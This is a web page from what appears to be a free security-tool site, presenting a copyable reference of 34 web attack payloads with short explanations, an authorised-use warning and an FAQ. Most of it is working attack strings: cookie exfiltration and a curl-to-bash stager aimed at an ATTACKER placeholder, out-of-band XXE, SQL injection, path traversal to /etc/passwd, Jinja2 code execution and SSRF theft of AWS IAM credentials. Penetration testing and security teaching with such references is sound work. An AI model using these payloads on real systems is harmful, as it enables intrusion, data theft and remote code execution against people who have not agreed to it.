Web Attack Payloads Reference

Searchable, explained payload reference for XSS, SQL injection, LFI, command injection, SSTI, SSRF and XXE. One-click copy.

🎯 Explained payload reference for web app testing. Pick a category or search; each payload says what it does.

34 payloads

XSS

<script>alert(document.domain)</script>

↳ Classic reflected/stored XSS proof — pops the current domain.

"><img src=x onerror=alert(1)>

↳ Breaks out of an attribute then fires onerror — works where <script> is filtered.

<svg/onload=alert(1)>

↳ Short, tag-based vector that bypasses many naive filters.

javascript:fetch('//ATTACKER/c?'+document.cookie)

↳ Cookie exfiltration via a javascript: URI (href/redirect sinks).

'-alert(1)-'

↳ Breaks out of a single-quoted JS string context.

SQL Injection

' OR '1'='1' -- -

↳ Authentication bypass — makes the WHERE clause always true.

' UNION SELECT NULL,version(),NULL -- -

↳ UNION-based extraction once you know the column count.

' ORDER BY 5 -- -

↳ Find the number of columns by incrementing until it errors.

' AND SLEEP(5) -- -

↳ Time-based blind test — a 5s delay confirms injection.

' AND 1=CONVERT(int,(SELECT @@version)) -- -

↳ Error-based extraction on MSSQL via a type-cast error.

1; SELECT pg_sleep(5)-- -

↳ Stacked-query time delay (PostgreSQL).

LFI / Path Traversal

../../../../etc/passwd

↳ Read a local file by traversing up directories.

....//....//....//etc/passwd

↳ Bypass naive ../ stripping with doubled sequences.

php://filter/convert.base64-encode/resource=index.php

↳ Read PHP source (not executed) base64-encoded — leaks credentials.

/var/log/apache2/access.log

↳ Log poisoning target — inject PHP via User-Agent then include it.

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+

↳ data:// wrapper RCE when allow_url_include is on.

Command Injection

; id

↳ Chain a command after a legit one (Unix).

| whoami

↳ Pipe output — works even when ; is filtered.

$(curl ATTACKER/s|bash)

↳ Command substitution to pull and run a stager.

`ping -c1 ATTACKER`

↳ Backtick execution — confirm blind injection via DNS/ICMP.

%0a id

↳ Newline injection bypasses some input filters.

SSTI (Template Injection)

${7*7}

↳ Detection probe — renders 49 if a template engine evaluates it.

{{7*7}}

↳ Jinja2/Twig detection — 49 confirms server-side evaluation.

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

↳ Jinja2 RCE through Python object traversal.

{{7*7}}[[5*5]]

↳ Distinguish Jinja2 ({{}}) vs Twig/other syntaxes.

SSRF

http://169.254.169.254/latest/meta-data/iam/security-credentials/

↳ AWS metadata endpoint — steal instance IAM credentials.

http://127.0.0.1:80/

↳ Reach internal services bound to localhost.

http://[::1]/

↳ IPv6 loopback to bypass 127.0.0.1 blocklists.

http://2130706433/

↳ Decimal IP for 127.0.0.1 — bypasses string filters.

XXE

<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>

↳ External entity that reads a local file into the response.

<!ENTITY % p SYSTEM "http://ATTACKER/evil.dtd">%p;

↳ Out-of-band XXE — exfiltrate data when the response is blind.

Auth / Redirect / Upload

//attacker.com/%2f..

↳ Open-redirect bypass that many URL validators miss.

shell.php.jpg / shell.pHp / shell.php%00.jpg

↳ Upload-filter bypasses (double ext, case, null byte).

X-Forwarded-For: 127.0.0.1

↳ Spoof source IP to reach IP-restricted admin panels.

⚠️ Use only on authorized targets. Replace placeholders (URL, FILE…) with your own values.

What does this tool do?

Web Attack Payloads Reference is a searchable, explained payload library for web application testing, organised by category: XSS, SQL injection, LFI/path traversal, command injection, SSTI (template injection), SSRF, XXE and auth/redirect/upload bypasses. Every payload comes with a one-line explanation of what it does and when to use it. Everything runs in your browser, no data is sent to any server, and it is intended for authorised testing only.

How to use it

Enter your listener IP and port.
Pick the command or payload that fits your setup.
Copy it and use it only on systems you are authorized to test.

What it solves

During bug bounty, web pentest and OSCP it is hard to recall the right first-try payloads for every vulnerability class. This reference filters by category, searches fast and explains the intent of each payload, so you know what you are testing instead of copying blindly. Replace the placeholders (URL, file path, command) with values for your own target.

Authorised testing only

These payloads must only be used on systems you have explicit permission to test and that are within scope — unauthorised testing is a crime in most jurisdictions. Be careful with destructive payloads like SQLi and command injection in production, and prefer harmless detection payloads first ('{{7*7}}', a single quote). Follow responsible disclosure principles.

Frequently asked questions

How do I use these payloads?

Pick the relevant category, copy the payload and replace its placeholders (target URL, file path, listener, command) with your own values. Only run them against in-scope targets you are authorised to test.

What is SSTI and how do I detect it?

SSTI (Server-Side Template Injection) happens when user input is passed straight into a template engine (Jinja2, Twig, Freemarker) and often leads to RCE. The classic detection is to inject a math expression: if you submit '{{7*7}}' and the response shows '49', the template is evaluating your input.

What is SSRF and what is the AWS metadata endpoint?

SSRF (Server-Side Request Forgery) forces the server to make a request to an attacker-chosen address, giving access to internal resources. In cloud environments the classic target is the AWS metadata service (169.254.169.254); if IMDSv1 is enabled, temporary IAM credentials can be leaked from it.

Is Web Attack Payloads Reference free?

Yes. Web Attack Payloads Reference and all 300+ tools on MagmaNex are completely free with no signup or account required.

Is my data safe?

Yes. Everything runs locally in your browser. The data you enter is never sent to a server, stored, or shared.

Does it work on mobile?

Yes. Web Attack Payloads Reference works on phones, tablets and desktops — no app download needed.

🔒 Privacy: everything runs in your browser, your data is never sent to a server.

Related Tools

Reverse Shell GeneratorNew⭐

Enter your IP and port to generate reverse shell one-liners for bash, python, nc, PowerShell and more.

Nmap Command BuilderNew

Build a ready-to-run nmap command by picking scan type, ports, timing and NSE options.

Msfvenom Payload BuilderNew

Build your msfvenom command by choosing platform, payload, LHOST/LPORT and output format.

Hashcat Command BuilderNew

Build a hashcat command by selecting the hash type, attack mode, wordlist and mask.

Unix Privilege Escalation ReferenceNew⭐

Searchable reference of Unix/Linux binaries for shell escape, SUID/sudo privilege escalation, file read/write and capability abuse — with explanations.

Windows Privilege Escalation ReferenceNew⭐

Searchable Windows privesc reference: token abuse (SeImpersonate/Potato), service misconfigs, AlwaysInstallElevated, registry, scheduled tasks, DLL hijack, UAC bypass and credential theft — with explanations.